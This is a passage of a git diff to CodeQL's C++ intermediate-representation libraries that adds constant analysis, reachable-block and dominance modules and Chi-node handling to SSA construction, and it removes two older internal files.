getConstantValue(Instruction instr) { + result = instr.(IntegerConstantInstruction).getValue().toInt() or + exists(BinaryInstruction binInstr, IntValue left, IntValue right | + binInstr = instr and + left = getConstantValue(binInstr.getLeftOperand()) and + right = getConstantValue(binInstr.getRightOperand()) and + ( + binInstr instanceof AddInstruction and result = add(left, right) or + binInstr instanceof SubInstruction and result = sub(left, right) or + binInstr instanceof MulInstruction and result = mul(left, right) or + binInstr instanceof DivInstruction and result = div(left, right) or + binInstr instanceof CompareEQInstruction and result = compareEQ(left, right) or + binInstr instanceof CompareNEInstruction and result = compareNE(left, right) or + binInstr instanceof CompareLTInstruction and result = compareLT(left, right) or + binInstr instanceof CompareGTInstruction and result = compareGT(left, right) or + binInstr instanceof CompareLEInstruction and result = compareLE(left, right) or + binInstr instanceof CompareGEInstruction and result = compareGE(left, right) + ) + ) or + exists(UnaryInstruction unaryInstr, IntValue src | + unaryInstr = instr and + src = getConstantValue(unaryInstr.getOperand()) and + ( + unaryInstr instanceof NegateInstruction and result = neg(src) + ) + ) or + result = getConstantValue(instr.(CopyInstruction).getSourceValue()) or + exists(PhiInstruction phi | + phi = instr and + result = max(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) and + result = min(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/PrintConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/PrintConstantAnalysis.qll new file mode 100644 index 00000000000..57a7cf594ca --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/PrintConstantAnalysis.qll @@ -0,0 +1,11 @@ +private import internal.ConstantAnalysisInternal +private import semmle.code.cpp.ir.internal.IntegerConstant +private import ConstantAnalysis +import IR + +private class ConstantAnalysisPropertyProvider extends IRPropertyProvider { + override string getInstructionProperty(Instruction instr, string key) { + key = "ConstantValue" and + result = getValue(getConstantValue(instr)).toString() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/internal/ConstantAnalysisInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/internal/ConstantAnalysisInternal.qll new file mode 100644 index 00000000000..9b4f813a10b --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/internal/ConstantAnalysisInternal.qll @@ -0,0 +1 @@ +import semmle.code.cpp.ir.implementation.unaliased_ssa.IR as IR diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/IRBlockConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/IRBlockConstruction.qll deleted file mode 100644 index 3d670b225da..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/IRBlockConstruction.qll +++ /dev/null @@ -1,38 +0,0 @@ -import SSAConstructionInternal -private import SSAConstruction as Construction -private import NewIR - -import Cached -private cached module Cached { - cached newtype TIRBlock = MkIRBlock(OldIR::IRBlock oldBlock) - - private OldIR::IRBlock getOldBlock(TIRBlock block) { - block = MkIRBlock(result) - } - - cached Instruction getInstruction(TIRBlock block, int index) { - Construction::getOldInstruction(result) = - getOldBlock(block).getInstruction(index) - } - - cached int getInstructionCount(TIRBlock block) { - result = getOldBlock(block).getInstructionCount() - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { - succ = MkIRBlock(getOldBlock(pred).getSuccessor(kind)) - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { - blockSuccessor(pred, succ, _) - } - - cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) { - getOldBlock(dominator).immediatelyDominates(getOldBlock(block)) - } - - cached Instruction getFirstInstruction(TIRBlock block) { - Construction::getOldInstruction(result) = - getOldBlock(block).getFirstInstruction() - } -} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll index 5dbf34cb6c3..88914e21c3a 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll @@ -3,22 +3,29 @@ import cpp private import semmle.code.cpp.ir.implementation.Opcode private import semmle.code.cpp.ir.internal.OperandTag private import NewIR -import IRBlockConstruction as BlockConstruction + +private class OldBlock = Reachability::ReachableBlock; +private class OldInstruction = Reachability::ReachableInstruction; import Cached cached private module Cached { - private IRBlock getNewBlock(OldIR::IRBlock oldBlock) { + private IRBlock getNewBlock(OldBlock oldBlock) { result.getFirstInstruction() = getNewInstruction(oldBlock.getFirstInstruction()) } cached newtype TInstructionTag = - WrappedInstructionTag(OldIR::Instruction oldInstruction) { + WrappedInstructionTag(OldInstruction oldInstruction) { not oldInstruction instanceof OldIR::PhiInstruction } or - PhiTag(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + PhiTag(Alias::VirtualVariable vvar, OldBlock block) { hasPhiNode(vvar, block) - } + } or + ChiTag(OldInstruction oldInstruction) { + not oldInstruction instanceof OldIR::PhiInstruction and + hasChiNode(_, oldInstruction) + } or + UnreachedTag() cached class InstructionTagType extends TInstructionTag { cached final string toString() { @@ -32,20 +39,36 @@ cached private module Cached { ) } - cached OldIR::Instruction getOldInstruction(Instruction instr) { + cached OldInstruction getOldInstruction(Instruction instr) { instr.getTag() = WrappedInstructionTag(result) } - private Instruction getNewInstruction(OldIR::Instruction instr) { + private Instruction getNewInstruction(OldInstruction instr) { getOldInstruction(result) = instr } - private PhiInstruction getPhiInstruction(Function func, OldIR::IRBlock oldBlock, + /** + * Gets the chi node corresponding to `instr` if one is present, or the new `Instruction` + * corresponding to `instr` if there is no `Chi` node. + */ + private Instruction getNewFinalInstruction(OldInstruction instr) { + result = getChiInstruction(instr) + or + not exists(getChiInstruction(instr)) and + result = getNewInstruction(instr) + } + + private PhiInstruction getPhiInstruction(Function func, OldBlock oldBlock, Alias::VirtualVariable vvar) { result.getFunction() = func and result.getAST() = oldBlock.getFirstInstruction().getAST() and result.getTag() = PhiTag(vvar, oldBlock) } + + private ChiInstruction getChiInstruction (OldInstruction instr) { + hasChiNode(_, instr) and + result.getTag() = ChiTag(instr) + } private IRVariable getNewIRVariable(OldIR::IRVariable var) { result.getFunction() = var.getFunction() and @@ -72,8 +95,8 @@ cached private module Cached { } private predicate hasInstruction(Function func, Opcode opcode, Locatable ast, - InstructionTag tag, Type resultType, boolean isGLValue) { - exists(OldIR::Instruction instr | + InstructionTag tag, Type resultType, boolean isGLValue) { + exists(OldInstruction instr | instr.getFunction() = func and instr.getOpcode() = opcode and instr.getAST() = ast and @@ -84,7 +107,7 @@ cached private module Cached { else isGLValue = false ) or - exists(OldIR::IRBlock block, Alias::VirtualVariable vvar | + exists(OldBlock block, Alias::VirtualVariable vvar | hasPhiNode(vvar, block) and block.getFunction() = func and opcode instanceof Opcode::Phi and @@ -92,11 +115,29 @@ cached private module Cached { tag = PhiTag(vvar, block) and resultType = vvar.getType() and isGLValue = false + ) or + exists(OldInstruction instr, Alias::VirtualVariable vvar | + hasChiNode(vvar, instr) and + instr.getFunction() = func and + opcode instanceof Opcode::Chi and + ast = instr.getAST() and + tag = ChiTag(instr) and + resultType = vvar.getType() and + isGLValue = false + ) or + exists(OldInstruction oldInstruction | + func = oldInstruction.getFunction() and + Reachability::isInfeasibleInstructionSuccessor(oldInstruction, _) and + tag = UnreachedTag() and + opcode instanceof Opcode::Unreached and + ast = func and + resultType instanceof VoidType and + isGLValue = false ) } cached predicate hasTempVariable(Function func, Locatable ast, TempVariableTag tag, - Type type) { + Type type) { exists(OldIR::IRTempVariable var | var.getFunction() = func and var.getAST() = ast and @@ -107,36 +148,37 @@ cached private module Cached { cached predicate hasModeledMemoryResult(Instruction instruction) { exists(Alias::getResultMemoryAccess(getOldInstruction(instruction))) or - instruction instanceof PhiInstruction // Phis always have modeled results + instruction instanceof PhiInstruction or // Phis always have modeled results + instruction instanceof ChiInstruction // Chis always have modeled results } cached Instruction getInstructionOperandDefinition(Instruction instruction, OperandTag tag) { - exists(OldIR::Instruction oldInstruction, OldIR::NonPhiOperand oldOperand | + exists(OldInstruction oldInstruction, OldIR::NonPhiOperand oldOperand | oldInstruction = getOldInstruction(instruction) and oldOperand = oldInstruction.getAnOperand() and tag = oldOperand.getOperandTag() and if oldOperand instanceof OldIR::MemoryOperand then ( ( if exists(Alias::getOperandMemoryAccess(oldOperand)) then ( - exists(OldIR::IRBlock useBlock, int useRank, Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, int defIndex | + exists(OldBlock useBlock, int useRank, Alias::VirtualVariable vvar, + OldBlock defBlock, int defRank, int defIndex | vvar = Alias::getOperandMemoryAccess(oldOperand).getVirtualVariable() and hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and hasUseAtRank(vvar, useBlock, useRank, oldInstruction) and definitionReachesUse(vvar, defBlock, defRank, useBlock, useRank) and if defIndex >= 0 then - result = getNewInstruction(defBlock.getInstruction(defIndex)) + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) else - result = getPhiInstruction(instruction.getFunction(), defBlock, vvar) + result = getPhiInstruction(instruction.getFunction(), defBlock, vvar) ) - ) + ) else ( result = instruction.getFunctionIR().getUnmodeledDefinitionInstruction() ) ) or // Connect any definitions that are not being modeled in SSA to the // `UnmodeledUse` instruction. - exists(OldIR::Instruction oldDefinition | + exists(OldInstruction oldDefinition | instruction instanceof UnmodeledUseInstruction and tag instanceof UnmodeledUseOperandTag and oldDefinition = oldOperand.getDefinitionInstruction() and @@ -146,28 +188,53 @@ cached private module Cached { ) else result = getNewInstruction(oldOperand.getDefinitionInstruction()) - ) + ) or + instruction.getTag() = ChiTag(getOldInstruction(result)) and + tag instanceof ChiPartialOperandTag + or + instruction instanceof UnmodeledUseInstruction and + tag instanceof UnmodeledUseOperandTag and + result instanceof UnmodeledDefinitionInstruction and + instruction.getFunction() = result.getFunction() + or + tag instanceof ChiTotalOperandTag and + result = getChiInstructionTotalOperand(instruction) } cached Instruction getPhiInstructionOperandDefinition(PhiInstruction instr, IRBlock newPredecessorBlock) { - exists(Alias::VirtualVariable vvar, OldIR::IRBlock phiBlock, - OldIR::IRBlock defBlock, int defRank, int defIndex, OldIR::IRBlock predBlock | + exists(Alias::VirtualVariable vvar, OldBlock phiBlock, + OldBlock defBlock, int defRank, int defIndex, OldBlock predBlock | hasPhiNode(vvar, phiBlock) and - predBlock = phiBlock.getAPredecessor() and + predBlock = phiBlock.getAFeasiblePredecessor() and instr.getTag() = PhiTag(vvar, phiBlock) and newPredecessorBlock = getNewBlock(predBlock) and hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and definitionReachesEndOfBlock(vvar, defBlock, defRank, predBlock) and if defIndex >= 0 then - result = getNewInstruction(defBlock.getInstruction(defIndex)) + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) else result = getPhiInstruction(instr.getFunction(), defBlock, vvar) ) } + cached Instruction getChiInstructionTotalOperand(ChiInstruction chiInstr) { + exists(Alias::VirtualVariable vvar, OldInstruction oldInstr, OldBlock defBlock, + int defRank, int defIndex, OldBlock useBlock, int useRank | + ChiTag(oldInstr) = chiInstr.getTag() and + vvar = Alias::getResultMemoryAccess(oldInstr).getVirtualVariable() and + hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and + hasUseAtRank(vvar, useBlock, useRank, oldInstr) and + definitionReachesUse(vvar, defBlock, defRank, useBlock, useRank) and + if defIndex >= 0 then + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) + else + result = getPhiInstruction(chiInstr.getFunction(), defBlock, vvar) + ) + } + cached Instruction getPhiInstructionBlockStart(PhiInstruction instr) { - exists(OldIR::IRBlock oldBlock | + exists(OldBlock oldBlock | instr.getTag() = PhiTag(_, oldBlock) and result = getNewInstruction(oldBlock.getFirstInstruction()) ) @@ -181,8 +248,34 @@ cached private module Cached { result = getOldInstruction(instruction).getUnconvertedResultExpression() } + /* + * This adds Chi nodes to the instruction successor relation; if an instruction has a Chi node, + * that node is its successor in the new successor relation, and the Chi node's successors are + * the new instructions generated from the successors of the old instruction + */ cached Instruction getInstructionSuccessor(Instruction instruction, EdgeKind kind) { - result = getNewInstruction(getOldInstruction(instruction).getSuccessor(kind)) + if(hasChiNode(_, getOldInstruction(instruction))) + then + result = getChiInstruction(getOldInstruction(instruction)) and + kind instanceof GotoEdge + else ( + exists(OldInstruction oldInstruction | + oldInstruction = getOldInstruction(instruction) and + ( + if Reachability::isInfeasibleInstructionSuccessor(oldInstruction, kind) then ( + result.getTag() = UnreachedTag() and + result.getFunction() = instruction.getFunction() + ) + else ( + result = getNewInstruction(oldInstruction.getSuccessor(kind)) + ) + ) + ) or + exists(OldInstruction oldInstruction | + instruction = getChiInstruction(oldInstruction) and + result = getNewInstruction(oldInstruction.getSuccessor(kind)) + ) + ) } cached IRVariable getInstructionVariable(Instruction instruction) { @@ -228,38 +321,59 @@ cached private module Cached { ) } + cached Instruction getPrimaryInstructionForSideEffect(Instruction instruction) { + exists(OldIR::SideEffectInstruction oldInstruction | + oldInstruction = getOldInstruction(instruction) and + result = getNewInstruction(oldInstruction.getPrimaryInstruction()) + ) + or + exists(OldIR::Instruction oldInstruction | + instruction.getTag() = ChiTag(oldInstruction) and + result = getNewInstruction(oldInstruction) + ) + } + private predicate ssa_variableUpdate(Alias::VirtualVariable vvar, - OldIR::Instruction instr, OldIR::IRBlock block, int index) { + OldInstruction instr, OldBlock block, int index) { block.getInstruction(index) = instr and Alias::getResultMemoryAccess(instr).getVirtualVariable() = vvar } - private predicate hasDefinition(Alias::VirtualVariable vvar, OldIR::IRBlock block, int index) { + private predicate hasDefinition(Alias::VirtualVariable vvar, OldBlock block, int index) { ( hasPhiNode(vvar, block) and index = -1 ) or - exists(Alias::MemoryAccess access, OldIR::Instruction def | + exists(Alias::MemoryAccess access, OldInstruction def | access = Alias::getResultMemoryAccess(def) and block.getInstruction(index) = def and vvar = access.getVirtualVariable() ) } - private predicate defUseRank(Alias::VirtualVariable vvar, OldIR::IRBlock block, int rankIndex, int index) { + private predicate defUseRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, int index) { index = rank[rankIndex](int j | hasDefinition(vvar, block, j) or hasUse(vvar, _, block, j)) } - private predicate hasUse(Alias::VirtualVariable vvar, - OldIR::Instruction use, OldIR::IRBlock block, int index) { + private predicate hasUse(Alias::VirtualVariable vvar, OldInstruction use, OldBlock block, + int index) { exists(Alias::MemoryAccess access | - access = Alias::getOperandMemoryAccess(use.getAnOperand()) and + ( + access = Alias::getOperandMemoryAccess(use.getAnOperand()) + or + /* + * a partial write to a virtual variable is going to generate a use of that variable when + * Chi nodes are inserted, so we need to mark it as a use in the old IR + */ + access = Alias::getResultMemoryAccess(use) and + access.isPartialMemoryAccess() + ) and block.getInstruction(index) = use and vvar = access.getVirtualVariable() ) } - private predicate variableLiveOnEntryToBlock(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + private predicate variableLiveOnEntryToBlock(Alias::VirtualVariable vvar, OldBlock block) { exists (int index | hasUse(vvar, _, block, index) | not exists (int j | ssa_variableUpdate(vvar, _, block, j) | j < index) ) or @@ -267,8 +381,8 @@ cached private module Cached { } pragma[noinline] - private predicate variableLiveOnExitFromBlock(Alias::VirtualVariable vvar, OldIR::IRBlock block) { - variableLiveOnEntryToBlock(vvar, block.getASuccessor()) + private predicate variableLiveOnExitFromBlock(Alias::VirtualVariable vvar, OldBlock block) { + variableLiveOnEntryToBlock(vvar, block.getAFeasibleSuccessor()) } /** @@ -277,18 +391,18 @@ cached private module Cached { * end of the block, even if the definition is the last instruction in the * block. */ - private int exitRank(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + private int exitRank(Alias::VirtualVariable vvar, OldBlock block) { result = max(int rankIndex | defUseRank(vvar, block, rankIndex, _)) + 1 } - private predicate hasDefinitionAtRank(Alias::VirtualVariable vvar, - OldIR::IRBlock block, int rankIndex, int instructionIndex) { + private predicate hasDefinitionAtRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, + int instructionIndex) { hasDefinition(vvar, block, instructionIndex) and defUseRank(vvar, block, rankIndex, instructionIndex) } - private predicate hasUseAtRank(Alias::VirtualVariable vvar, OldIR::IRBlock block, - int rankIndex, OldIR::Instruction use) { + private predicate hasUseAtRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, + OldInstruction use) { exists(int index | hasUse(vvar, use, block, index) and defUseRank(vvar, block, rankIndex, index) @@ -299,8 +413,8 @@ cached private module Cached { * Holds if the definition of `vvar` at `(block, defRank)` reaches the rank * index `reachesRank` in block `block`. */ - private predicate definitionReachesRank(Alias::VirtualVariable vvar, - OldIR::IRBlock block, int defRank, int reachesRank) { + private predicate definitionReachesRank(Alias::VirtualVariable vvar, OldBlock block, int defRank, + int reachesRank) { hasDefinitionAtRank(vvar, block, defRank, _) and reachesRank <= exitRank(vvar, block) and // Without this, the predicate would be infinite. ( @@ -320,8 +434,8 @@ cached private module Cached { * Holds if the definition of `vvar` at `(defBlock, defRank)` reaches the end of * block `block`. */ - private predicate definitionReachesEndOfBlock(Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, OldIR::IRBlock block) { + private predicate definitionReachesEndOfBlock(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock block) { hasDefinitionAtRank(vvar, defBlock, defRank, _) and ( ( @@ -331,7 +445,7 @@ cached private module Cached { variableLiveOnExitFromBlock(vvar, defBlock) and definitionReachesRank(vvar, defBlock, defRank, exitRank(vvar, defBlock)) ) or - exists(OldIR::IRBlock idom | + exists(OldBlock idom | definitionReachesEndOfBlock(vvar, defBlock, defRank, idom) and noDefinitionsSinceIDominator(vvar, idom, block) ) @@ -339,51 +453,56 @@ cached private module Cached { } pragma[noinline] - private predicate noDefinitionsSinceIDominator(Alias::VirtualVariable vvar, - OldIR::IRBlock idom, OldIR::IRBlock block) { - idom.immediatelyDominates(block) and // It is sufficient to traverse the dominator graph, cf. discussion above. + private predicate noDefinitionsSinceIDominator(Alias::VirtualVariable vvar, OldBlock idom, + OldBlock block) { + Dominance::blockImmediatelyDominates(idom, block) and // It is sufficient to traverse the dominator graph, cf. discussion above. variableLiveOnExitFromBlock(vvar, block) and not hasDefinition(vvar, block, _) } - private predicate definitionReachesUseWithinBlock( - Alias::VirtualVariable vvar, OldIR::IRBlock defBlock, int defRank, - OldIR::IRBlock useBlock, int useRank) { + private predicate definitionReachesUseWithinBlock(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock useBlock, int useRank) { defBlock = useBlock and hasDefinitionAtRank(vvar, defBlock, defRank, _) and hasUseAtRank(vvar, useBlock, useRank, _) and definitionReachesRank(vvar, defBlock, defRank, useRank) } - private predicate definitionReachesUse(Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, OldIR::IRBlock useBlock, int useRank) { + private predicate definitionReachesUse(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock useBlock, int useRank) { hasUseAtRank(vvar, useBlock, useRank, _) and ( definitionReachesUseWithinBlock(vvar, defBlock, defRank, useBlock, useRank) or ( definitionReachesEndOfBlock(vvar, defBlock, defRank, - useBlock.getAPredecessor()) and + useBlock.getAFeasiblePredecessor()) and not definitionReachesUseWithinBlock(vvar, useBlock, _, useBlock, useRank) ) ) } - private predicate hasFrontierPhiNode(Alias::VirtualVariable vvar, - OldIR::IRBlock phiBlock) { - exists(OldIR::IRBlock defBlock | - phiBlock = defBlock.dominanceFrontier() and + private predicate hasFrontierPhiNode(Alias::VirtualVariable vvar, OldBlock phiBlock) { + exists(OldBlock defBlock | + phiBlock = Dominance::getDominanceFrontier(defBlock) and hasDefinition(vvar, defBlock, _) and /* We can also eliminate those nodes where the variable is not live on any incoming edge */ variableLiveOnEntryToBlock(vvar, phiBlock) ) } - private predicate hasPhiNode(Alias::VirtualVariable vvar, - OldIR::IRBlock phiBlock) { + private predicate hasPhiNode(Alias::VirtualVariable vvar, OldBlock phiBlock) { hasFrontierPhiNode(vvar, phiBlock) //or ssa_sanitized_custom_phi_node(vvar, block) } + + private predicate hasChiNode(Alias::VirtualVariable vvar, OldInstruction def) { + exists(Alias::MemoryAccess ma | + ma = Alias::getResultMemoryAccess(def) and + ma.isPartialMemoryAccess() and + ma.getVirtualVariable() = vvar + ) + } } import CachedForDebugging @@ -393,13 +512,17 @@ cached private module CachedForDebugging { } cached string getInstructionUniqueId(Instruction instr) { - exists(OldIR::Instruction oldInstr | + exists(OldInstruction oldInstr | oldInstr = getOldInstruction(instr) and result = "NonSSA: " + oldInstr.getUniqueId() ) or - exists(Alias::VirtualVariable vvar, OldIR::IRBlock phiBlock | + exists(Alias::VirtualVariable vvar, OldBlock phiBlock | instr.getTag() = PhiTag(vvar, phiBlock) and result = "Phi Block(" + phiBlock.getUniqueId() + "): " + vvar.getUniqueId() + ) or + ( + instr.getTag() = UnreachedTag() and + result = "Unreached" ) } diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstructionInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstructionInternal.qll index f5ee42e9573..dc19a8130d9 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstructionInternal.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstructionInternal.qll @@ -1,3 +1,5 @@ import semmle.code.cpp.ir.implementation.raw.IR as OldIR +import semmle.code.cpp.ir.implementation.raw.internal.reachability.ReachableBlock as Reachability +import semmle.code.cpp.ir.implementation.raw.internal.reachability.Dominance as Dominance import semmle.code.cpp.ir.implementation.unaliased_ssa.IR as NewIR import SimpleSSA as Alias diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSA.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSA.qll index fdf596267a9..379e27dd891 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSA.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSA.qll @@ -1,7 +1,6 @@ -import SimpleSSAInternal +import AliasAnalysis import cpp -import Alias -private import InputIR +private import semmle.code.cpp.ir.implementation.raw.IR private import semmle.code.cpp.ir.internal.OperandTag private import semmle.code.cpp.ir.internal.Overlap @@ -60,11 +59,17 @@ class MemoryAccess extends TMemoryAccess { VirtualVariable getVirtualVariable() { result = vvar } + + predicate isPartialMemoryAccess() { + none() + } } Overlap getOverlap(MemoryAccess def, MemoryAccess use) { def.getVirtualVariable() = use.getVirtualVariable() and result instanceof MustExactlyOverlap + or + none() // Avoid compiler error in SSAConstruction } MemoryAccess getResultMemoryAccess(Instruction instr) { diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSAInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSAInternal.qll deleted file mode 100644 index fd62cce7aa2..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSAInternal.qll +++ /dev/null @@ -1,2 +0,0 @@ -import AliasAnalysis as Alias -import semmle.code.cpp.ir.implementation.raw.IR as InputIR diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/Dominance.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/Dominance.qll new file mode 100644 index 00000000000..7521407530a --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/Dominance.qll @@ -0,0 +1,21 @@ +private import DominanceInternal + +predicate blockImmediatelyDominates(Graph::Block dominator, Graph::Block block) = + idominance(Graph::isEntryBlock/1, Graph::blockSuccessor/2)(_, dominator, block) + +predicate blockStrictlyDominates(Graph::Block dominator, Graph::Block block) { + blockImmediatelyDominates+(dominator, block) +} + +predicate blockDominates(Graph::Block dominator, Graph::Block block) { + blockStrictlyDominates(dominator, block) or dominator = block +} + +pragma[noinline] +Graph::Block getDominanceFrontier(Graph::Block dominator) { + exists(Graph::Block pred | + Graph::blockSuccessor(pred, result) and + blockDominates(dominator, pred) and + not blockStrictlyDominates(dominator, result) + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/DominanceInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/DominanceInternal.qll new file mode 100644 index 00000000000..dfe9b52f1a4 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/DominanceInternal.qll @@ -0,0 +1,7 @@ +private import ReachableBlock as Reachability +private module ReachabilityGraph = Reachability::Graph; + +module Graph { + import Reachability::Graph + class Block = Reachability::ReachableBlock; +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintDominance.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintDominance.qll new file mode 100644 index 00000000000..5242b135f4e --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintDominance.qll @@ -0,0 +1,21 @@ +private import DominanceInternal +private import ReachableBlockInternal +private import Dominance +import IR + +private class DominancePropertyProvider extends IRPropertyProvider { + override string getBlockProperty(IRBlock block, string key) { + exists(IRBlock dominator | + blockImmediatelyDominates(dominator, block) and + key = "ImmediateDominator" and + result = "Block " + dominator.getDisplayIndex().toString() + ) or + ( + key = "DominanceFrontier" and + result = strictconcat(IRBlock frontierBlock | + frontierBlock = getDominanceFrontier(block) | + frontierBlock.getDisplayIndex().toString(), ", " order by frontierBlock.getDisplayIndex() + ) + ) + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintReachableBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintReachableBlock.qll new file mode 100644 index 00000000000..1af465d6ec9 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintReachableBlock.qll @@ -0,0 +1,20 @@ +private import ReachableBlockInternal +private import ReachableBlock +import IR + +private class ReachableBlockPropertyProvider extends IRPropertyProvider { + override string getBlockProperty(IRBlock block, string key) { + ( + not block instanceof ReachableBlock and + key = "Unreachable" and + result = "true" + ) or + ( + exists(EdgeKind kind | + isInfeasibleEdge(block, kind) and + key = "Infeasible(" + kind.toString() + ")" and + result = "true" + ) + ) + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlock.qll new file mode 100644 index 00000000000..0af226fad27 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlock.qll @@ -0,0 +1,70 @@ +private import ReachableBlockInternal +private import semmle.code.cpp.ir.internal.IntegerConstant +private import IR +private import ConstantAnalysis + +predicate isInfeasibleInstructionSuccessor(Instruction instr, EdgeKind kind) { + exists(int conditionValue | + conditionValue = getValue(getConstantValue(instr.(ConditionalBranchInstruction).getCondition())) and + if conditionValue = 0 then + kind instanceof TrueEdge + else + kind instanceof FalseEdge + ) +} + +predicate isInfeasibleEdge(IRBlockBase block, EdgeKind kind) { + isInfeasibleInstructionSuccessor(block.getLastInstruction(), kind) +} + +private IRBlock getAFeasiblePredecessorBlock(IRBlock successor) { + exists(EdgeKind kind | + result.getSuccessor(kind) = successor and + not isInfeasibleEdge(result, kind) + ) +} + +private predicate isBlockReachable(IRBlock block) { + exists(FunctionIR f | + getAFeasiblePredecessorBlock*(block) = f.getEntryBlock() + ) +} + +/** + * An IR block that is reachable from the entry block of the function, considering only feasible + * edges. + */ +class ReachableBlock extends IRBlockBase { + ReachableBlock() { + isBlockReachable(this) + } + + final ReachableBlock getAFeasiblePredecessor() { + result = getAFeasiblePredecessorBlock(this) + } + + final ReachableBlock getAFeasibleSuccessor() { + this = getAFeasiblePredecessorBlock(result) + } +} + +/** + * An instruction that is contained in a reachable block. + */ +class ReachableInstruction extends Instruction { + ReachableInstruction() { + this.getBlock() instanceof ReachableBlock + } +} + +module Graph { + predicate isEntryBlock(ReachableBlock block) { + exists(FunctionIR f | + block = f.getEntryBlock() + ) + } + + predicate blockSuccessor(ReachableBlock pred, ReachableBlock succ) { + succ = pred.getAFeasibleSuccessor() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlockInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlockInternal.qll new file mode 100644 index 00000000000..bcaaaaf69d0 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlockInternal.qll @@ -0,0 +1,2 @@ +import semmle.code.cpp.ir.implementation.unaliased_ssa.IR as IR +import semmle.code.cpp.ir.implementation.unaliased_ssa.constant.ConstantAnalysis as ConstantAnalysis \ No newline at end of file diff --git 